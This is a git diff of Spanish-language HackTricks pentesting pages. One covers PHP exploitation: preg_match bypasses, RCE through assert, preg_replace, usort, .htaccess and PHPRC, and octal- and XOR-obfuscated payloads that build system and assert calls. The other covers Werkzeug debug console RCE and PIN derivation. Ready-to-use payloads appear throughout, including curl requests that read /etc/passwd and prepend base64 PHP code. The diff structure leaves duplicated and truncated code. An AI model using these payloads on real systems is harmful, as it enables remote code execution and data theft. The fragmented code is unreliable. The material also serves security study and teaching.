||||||
Incluso si se utiliza `===`, podría haber errores que hagan que la comparación sea vulnerable al **type juggling**. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de compararlos:
|
Incluso si se utiliza `===`, podría haber errores que hagan que la comparación sea vulnerable al **type juggling**. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de compararlos:
|
||||||
```php
|
```php
|
||||||
|
@ -84,11 +82,11 @@ Incluso si se utiliza `===`, podría haber errores que hagan que la comparación
|
||||||
```
|
```
|
||||||
### preg\_match(/^.\*/)
|
### preg\_match(/^.\*/)
|
||||||
|
|
||||||
**`preg_match()`** se puede utilizar para **validar la entrada del usuario** (comprueba si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar con su ejecución).
|
**`preg_match()`** se podría utilizar para **validar la entrada del usuario** (comprueba si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar con su ejecución).
|
||||||
|
|
||||||
#### Bypass de nueva línea
|
#### Bypass de salto de línea
|
||||||
|
|
||||||
Sin embargo, al delimitar el inicio de la expresión regular, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de evadir esta verificación. Ejemplo:
|
Sin embargo, al delimitar el inicio de la expresión regular, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de evadir esta verificación. Ejemplo:
|
||||||
```php
|
```php
|
||||||
$myinput="aaaaaaa
|
$myinput="aaaaaaa
|
||||||
11111111"; //Notice the new line
|
11111111"; //Notice the new line
|
||||||
|
@ -111,24 +109,24 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
|
||||||
|
|
||||||
#### **Bypass de error de longitud**
|
#### **Bypass de error de longitud**
|
||||||
|
|
||||||
(Este bypass aparentemente se intentó en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
(Este bypass fue probado aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **burlar** la verificación. Por ejemplo, si está en una lista negra un JSON podrías enviar:
|
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **burlar** la verificación. Por ejemplo, si está en una lista negra un JSON podrías enviar:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
#### Bypass de ReDoS
|
#### Bypass de ReDoS
|
||||||
|
|
||||||
Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) y [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que utiliza una gran cantidad de espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que utiliza una gran cantidad de espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es de 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||||
|
|
||||||
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también se vinculó en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
|
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
|
||||||
**Enviar una entrada que haga que la regex realice más de 100.000 recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false`, lo que hace que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> bandera :)**.
|
**Enviar una entrada que haga que la regex realice más de 100.000 recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devuelva `false`, haciendo que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> bandera :)**.
|
||||||
|
|
||||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como dice la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es de 1.000.000 (1M) en la variable `pcre.backtrack_limit`.\
|
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como dice la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es de 1.000.000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||||
Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
Para lograr eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
```
|
```
|
||||||
|
@ -165,7 +163,7 @@ Verifica:
|
||||||
|
|
||||||
## Más trucos
|
## Más trucos
|
||||||
|
|
||||||
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código.
|
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param**. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
|
||||||
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\
|
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\
|
||||||
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que **el valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
|
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que **el valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
|
||||||
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
|
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
|
||||||
|
@ -174,7 +172,7 @@ De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** pu
|
||||||
### password\_hash/password\_verify
|
### password\_hash/password\_verify
|
||||||
|
|
||||||
Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
|
Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
|
||||||
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT es frecuentemente lo mismo que PASSWORD\_BCRYPT.** Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72 bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72 bytes con este algoritmo, solo se usarán los primeros 72B:
|
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT** frecuentemente es lo mismo que PASSWORD\_BCRYPT. Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72 bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72 bytes con este algoritmo, solo se utilizarán los primeros 72 bytes:
|
||||||
```php
|
```php
|
||||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||||
False
|
False
|
||||||
|
@ -182,10 +180,10 @@ False
|
||||||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||||
True
|
True
|
||||||
```
|
```
|
||||||
### Bypass de cabeceras HTTP abusando de errores de PHP
|
### Bypass de cabeceras HTTP abusando de errores PHP
|
||||||
|
|
||||||
Si una **página PHP está imprimiendo errores y devolviendo algo de la entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** para que cuando intente **agregar las cabeceras** en la respuesta, el servidor arrojará un error.\
|
Si una **página PHP está imprimiendo errores y devolviendo algo de la entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** para que al intentar **agregar las cabeceras** en la respuesta el servidor genere un error.\
|
||||||
En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como se puede ver en la pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):
|
En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como se puede ver en la captura de pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1082).png>)
|
![](<../../../.gitbook/assets/image (1082).png>)
|
||||||
|
|
||||||
|
@ -195,7 +193,7 @@ En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos e
|
||||||
**\`ls\`;**\
|
**\`ls\`;**\
|
||||||
**shell\_exec("ls");**
|
**shell\_exec("ls");**
|
||||||
|
|
||||||
[Verifica esto para más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
[Consulta esto para obtener más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||||
|
|
||||||
### **RCE a través de** **preg\_replace()**
|
### **RCE a través de** **preg\_replace()**
|
||||||
```php
|
```php
|
||||||
|
@ -215,14 +213,14 @@ Esta opción de preg\_replace ha sido **obsoleta a partir de PHP 5.5.0.**
|
||||||
```
|
```
|
||||||
### **RCE a través de Assert()**
|
### **RCE a través de Assert()**
|
||||||
|
|
||||||
Esta función en php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable de usuario se insertará en medio de una cadena. Por ejemplo:\
|
Esta función en php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Normalmente la variable de usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
|
`assert("strpos($_GET['page']),'..') === false")` --> En este caso para obtener **RCE** podrías hacer:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
Necesitarás **romper** la **sintaxis** del código, **agregar** tu **payload**, y luego **arreglarlo de nuevo**. Puedes usar operaciones lógicas como "**and" o "%26%26" o "|"**. Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.
|
Necesitarás **romper** la **sintaxis** del código, **añadir** tu **payload**, y luego **arreglarlo de nuevo**. Puedes usar operaciones lógicas como "**and" o "%26%26" o "|"**. Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.
|
||||||
|
|
||||||
**Otra opción** es agregar a la cadena la ejecución del comando: `'.highlight_file('.passwd').'`
|
**Otra opción** es añadir a la cadena la ejecución del comando: `'.highlight_file('.passwd').'`
|
||||||
|
|
||||||
**Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"`
|
**Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"`
|
||||||
|
|
||||||
|
@ -249,6 +247,14 @@ function foo($x,$y){
|
||||||
usort();}phpinfo;#, "cmp");
|
usort();}phpinfo;#, "cmp");
|
||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
|
Puedes usar **//** para comentar el resto del código.
|
||||||
|
|
||||||
|
Para descubrir el número de paréntesis que necesitas cerrar:
|
||||||
|
|
||||||
|
- `?order=id;}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ';' inesperado`). Probablemente nos falte uno o más corchetes.
|
||||||
|
- `?order=id);}//`: obtenemos una **advertencia**. Eso parece estar correcto.
|
||||||
|
- `?order=id));}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ')' inesperado`). Probablemente tengamos demasiados corchetes de cierre.
|
||||||
|
|
||||||
### **RCE a través de .httaccess**
|
### **RCE a través de .httaccess**
|
||||||
|
|
||||||
Si puedes **subir** un archivo **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess pueden ser **ejecutados**).
|
Si puedes **subir** un archivo **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess pueden ser **ejecutados**).
|
||||||
|
@ -257,20 +263,20 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
|
||||||
|
|
||||||
### RCE a través de Variables de Entorno
|
### RCE a través de Variables de Entorno
|
||||||
|
|
||||||
Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez se pueda evadir esto), podrías abusar de este comportamiento para obtener **RCE**.
|
Si encuentras una vulnerabilidad que te permita **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez se pueda evadir), podrías abusar de este comportamiento para obtener **RCE**.
|
||||||
|
|
||||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
||||||
* **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces usa `PHPRC` para apuntar a PHP. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código PHP normal, que luego es ejecutado por el tiempo de ejecución de PHP antes que cualquier otro código.
|
- **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces usa `PHPRC` para apuntar a PHP. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el tiempo de ejecución de PHP antes que cualquier otro código.
|
||||||
1. Sube un archivo PHP que contenga tu código de shell
|
1. Sube un archivo PHP que contenga nuestro código de shell
|
||||||
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
|
2. Sube un segundo archivo que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
|
||||||
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
|
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
|
||||||
* Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
- Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||||
* **PHPRC** - otra opción
|
- **PHPRC** - otra opción
|
||||||
* Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
|
- Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||||
* O para obtener RCE, habilita **`allow_url_include`** y prepón un archivo con **código PHP en base64**:
|
- O para obtener RCE, habilita **`allow_url_include`** y antepón un archivo con **código PHP en base64**:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||||
* Técnica [**de este informe**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
- Técnica [**de este informe**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||||
|
|
||||||
## Análisis Estático de PHP
|
## Análisis Estático de PHP
|
||||||
|
|
||||||
|
@ -323,8 +329,6 @@ Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podr
|
||||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||||
```
|
```
|
||||||
### **XOR**
|
### **XOR**
|
||||||
|
|
||||||
El operador XOR se utiliza para realizar operaciones de bits exclusivas.
|
|
||||||
```php
|
```php
|
||||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||||
|
@ -407,7 +411,7 @@ $____.=$__;
|
||||||
$_=$$____;
|
$_=$$____;
|
||||||
$___($_[_]); // ASSERT($_POST[_]);
|
$___($_[_]); // ASSERT($_POST[_]);
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Werkzeug / Flask Debug
|
# Werkzeug / Depuración de Flask
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
@ -14,21 +14,19 @@ Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
## RCE de Consola
|
## RCE de Consola
|
||||||
|
|
||||||
Si la depuración está activa, podrías intentar acceder a `/console` y obtener RCE.
|
Si la depuración está activa, podrías intentar acceder a `/console` y obtener RCE.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__import__('os').popen('whoami').read();
|
__import__('os').popen('whoami').read();
|
||||||
```
|
```
|
||||||
|
![](<../../.gitbook/assets/image (114).png>)
|
||||||
![](<../../.gitbook/assets/image (317).png>)
|
|
||||||
|
|
||||||
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
|
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
|
||||||
|
|
||||||
|
@ -39,13 +37,11 @@ En algunas ocasiones, el endpoint **`/console`** estará protegido por un PIN. S
|
||||||
### Exploit de PIN de la Consola Werkzeug
|
### Exploit de PIN de la Consola Werkzeug
|
||||||
|
|
||||||
Forzar una página de error de depuración en la aplicación para ver esto:
|
Forzar una página de error de depuración en la aplicación para ver esto:
|
||||||
|
|
||||||
```
|
```
|
||||||
The console is locked and needs to be unlocked by entering the PIN.
|
The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
|
|
||||||
Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar desde el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.
|
Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar desde el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.
|
||||||
|
|
||||||
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
|
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
|
||||||
|
@ -61,50 +57,58 @@ Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `pr
|
||||||
|
|
||||||
* **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
|
* **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
|
||||||
* Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net/<ID del dispositivo>/address`**.
|
* Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net/<ID del dispositivo>/address`**.
|
||||||
* La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
|
* La conversión de una dirección MAC hexadecimal a decimal se puede realizar de la siguiente manera:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
|
# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
|
||||||
>>> print(0x5600027a23ac)
|
>>> print(0x5600027a23ac)
|
||||||
94558041547692
|
94558041547692
|
||||||
```
|
```
|
||||||
|
|
||||||
* **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra inclinada (`/`).
|
* **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra inclinada (`/`).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Código para `get_machine_id()`</summary>
|
<summary>Código para `get_machine_id()`</summary>
|
||||||
|
```python
|
||||||
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||||
|
global _machine_id
|
||||||
|
|
||||||
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
|
if _machine_id is not None:
|
||||||
|
return _machine_id
|
||||||
|
|
||||||
if \_machine\_id is not None: return \_machine\_id
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||||||
|
linux = b""
|
||||||
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
|
|
||||||
|
|
||||||
## machine-id is stable across boots, boot\_id is not.
|
|
||||||
|
|
||||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
|
|
||||||
|
|
||||||
if value: linux += value break
|
|
||||||
|
|
||||||
## Containers share the same machine id, add some cgroup
|
|
||||||
|
|
||||||
## information. This is used outside containers too but should be
|
|
||||||
|
|
||||||
## relatively stable across boots.
|
|
||||||
|
|
||||||
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
|
|
||||||
|
|
||||||
if linux: return linux
|
|
||||||
|
|
||||||
## On OS X, use ioreg to get the computer's serial number.
|
|
||||||
|
|
||||||
|
# machine-id is stable across boots, boot_id is not.
|
||||||
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||||
try:
|
try:
|
||||||
|
with open(filename, "rb") as f:
|
||||||
|
value = f.readline().strip()
|
||||||
|
except OSError:
|
||||||
